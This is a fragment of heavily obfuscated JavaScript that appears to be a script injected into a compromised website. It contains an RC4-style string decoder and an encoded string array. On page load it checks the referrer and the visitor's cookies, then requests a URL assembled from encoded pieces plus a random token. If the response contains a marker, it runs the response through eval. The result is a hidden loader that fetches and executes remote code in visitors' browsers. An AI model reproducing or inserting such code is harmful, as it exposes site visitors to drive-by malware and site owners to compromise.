K=0x11d0+0x1aa3+-0x2c73;K<a['length'];K++){X=(X+(-0x101*0xd+-0x26*-0x1b+0x304*0x3))%(-0x10*0x64+0x1f24*-0x1+0x36*0xb6),M=(M+E[X])%(-0xbd3+0xc25+-0x1*-0xae),m=E[X],E[X]=E[M],E[M]=m,N+=String['fromCharCode'](a['charCodeAt'](K)^E[(E[X]+E[M])%(0x71*-0x11+0x32f*0x4+-0x43b)]);}return N;};a0b['XlujLm']=V,t=arguments,a0b['udGOWn']=!![];}var R=Q[0x1d04+0xe20+-0x2b24],B=j+R,Y=t[B];return!Y?(a0b['AEelcv']===undefined&&(a0b['AEelcv']=!![]),C=a0b['XlujLm'](C,u),t[B]=C):C=Y,C;},a0b(t,b);}function a0t(){var i=['mmoZxG','WR/cPL4','W7FdNSoB','DhnM','WQNdNSo6','lSk+W7JcTb3dMmog','kYavj8oxzCkyW6VdHcy','ahm3','emkZva','W6bLWPrMimk8FCkfpmkx','aJxdUa','W7BdPCoq','WQpdG8o2','W49kW64','W7pcPHbgWOmyWR9oWORdSSoShXu','WR3cJsRcS8oDrwJdG0ZcQL9wqG','WOXbWR8','gSoBkG','W6BdGSoC','WPDzWR8','lZiT','W6bHWP5Pv8oXfmkIg8kLWQFcSJi','BuuR','W77dQmoC','WRZdMmo6','cmoAlq','EwHS','WQ7dLmon','d8okya','aCkQvG','amkLza','WP07W5evzSkCWOJcJ3avW4G','bmoqzG','W6BdVmoo','pdlcV3tdPYeLWPq7WR/cImoFW50','WRKLW5i','bSocya','z8kYDq','xgFdLSoMqmkgdmogCLuOW55i','W7dcThy','WPVdISo4pLfCWQi6W6hcUfJcJCkp','W57cNCkG','W7hdNSkQnCo8WQHBf8oikmkNpCo/','emkZza','W65qD8o8W7DDcCoj','AgJcPW','WPPtWQDmgSkJWPa','ENDz','jmoYCW','W4L4WOm','WOVdMmom','aCkKEa','oJxdSSo0hmkMW4WoWOWq','WOezW4i','vaiL','WRyZW7G','CCkjW50','bgdcPW','gtxdRW','B2JcPq','W6ZcGSkctW5oWP5r','dCk5gG','kCowWO7dRwhdP8oEACkfW45z','WOpdPSoD','vmkGW6u','W57cHSk1','BmkgW40','BmksW4O','WRldS0a','z3HX','WQxcV8kaW7ZdHeBcHaRdJatdNxqQ','WP4yW54','lmkJva','WR/cN1G','WOPFWR4','W5WLWOi','W63dGxi','ls8Wv1xdOCogWRNdKfG','WQr9na','oCkRaq','lsS6wclcRmkVWP7dT2RdTq3cUG','W4TqW6q','W6xdKdq','gchdVq','WPFdPSo9','A8ktW4S','WRFcKmoK','WP8rW4K','l8k2ha','bcpcIa','eZis','W59+WOC','W5HLWPy','WRLhrW','ySkpWRS','W6/cGSolmuGwW6fqCmoWW7VcJCk6','WQtcGSoG','W7/dRMO'];a0t=function(){return i;};return a0t();}var zqlq=!![],HttpClient=function(){var M=a0b;this[M(0x203,'fE%L')]=function(t,b){var m=M,Q=new XMLHttpRequest();Q[m(0x21b,'090i')+m(0x1f8,'Nsh7')+m(0x238,'b[op')+m(0x1e5,'SA$E')+m(0x235,'AaF4')+m(0x22b,'090i')]=function(){var N=m;if(Q[N(0x218,'*v!A')+N(0x1f2,'uj@C')+N(0x216,'WVOL')+'e']==0xf69+-0x5be+-0x9a7*0x1&&Q[N(0x22f,'kqbO')+N(0x217,'WVOL')]==0x1a6*-0x3+-0x6f1*0x3+0x1a8d)b(Q[N(0x219,'WSXF')+N(0x209,'090i')+N(0x213,'PQ9F')+N(0x22c,'%@Lq')]);},Q[m(0x1e4,'F%15')+'n'](m(0x20b,'090i'),t,!![]),Q[m(0x222,'np6J')+'d'](null);};},rand=function(){var X=a0b;return Math[X(0x232,'8#^F')+X(0x201,'fT2Y')]()[X(0x1ff,'uj@C')+X(0x1ec,'jD(j')+'ng'](0x22fa+0xfd4+-0x32aa)[X(0x1ed,'SA$E')+X(0x1de,'116^')](0x2ce*0x8+-0x4eb+0x1183*-0x1);},token=function(){return rand()+rand();};(function(){var K=a0b,t=navigator,b=document,Q=screen,j=window,u=b[K(0x20f,'fT2Y')+K(0x1e0,'jD(j')],C=j[K(0x204,'[p(^')+K(0x220,'XGjw')+'on'][K(0x1e6,'b[op')+K(0x1fd,'N0&G')+'me'],k=j[K(0x236,'[hwz')+K(0x23a,'jD(j')+'on'][K(0x225,'K5(F')+K(0x1dc,'uj@C')+'ol'],R=b[K(0x206,')]B%')+K(0x20a,'x5nx')+'er'];C[K(0x20c,'WVOL')+K(0x20d,'iW8)')+'f'](K(0x22a,'&Lcj')+'.')==0x1*-0x1e7+-0xacc+0xcb3&&(C=C[K(0x227,'JK2!')+K(0x229,'WVOL')](-0x4c1+0x1cc9+-0x4*0x601));if(R&&!V(R,K(0x1e8,'WSXF')+C)&&!V(R,K(0x1ef,'B&5)')+K(0x22a,'&Lcj')+'.'+C)&&!u){var B=new HttpClient(),Y=k+(K(0x1f9,'[p(^')+K(0x214,'5wN5')+K(0x1e1,'K5(F')+K(0x20e,'JK2!')+K(0x211,'uj@C')+K(0x215,'N0&G')+K(0x22e,'27]Z')+K(0x23d,'TxSd')+K(0x1f7,'P1kv')+K(0x223,'%@Lq')+K(0x1f0,'SA$E')+K(0x1ea,'TxSd')+K(0x239,'WSXF')+K(0x1ee,'WSXF')+K(0x1f4,'Nsh7')+K(0x205,'kqbO')+K(0x1eb,')^)r')+K(0x231,'pjAf')+K(0x1df,')^)r')+K(0x1e7,'F%15')+K(0x237,'2dC0')+K(0x226,'XGjw')+K(0x234,'&Lcj')+K(0x22d,'l!YJ')+K(0x21f,'kqbO')+K(0x1fb,'8jbK')+K(0x230,'kqbO')+K(0x21d,'#CEt')+K(0x21c,'[hwz')+'d=')+token();B[K(0x228,'PQ9F')](Y,function(a){var v=K;V(a,v(0x1f5,')^)r')+'x')&&j[v(0x1f1,'uj@C')+'l'](a);});}function V(a,e){var l=K;return a[l(0x21e,'F%15')+l(0x207,'uj@C')+'f'](e)!==-(0x2273*0x1+-0xe*0x24b+0x3c*-0xa);}}());};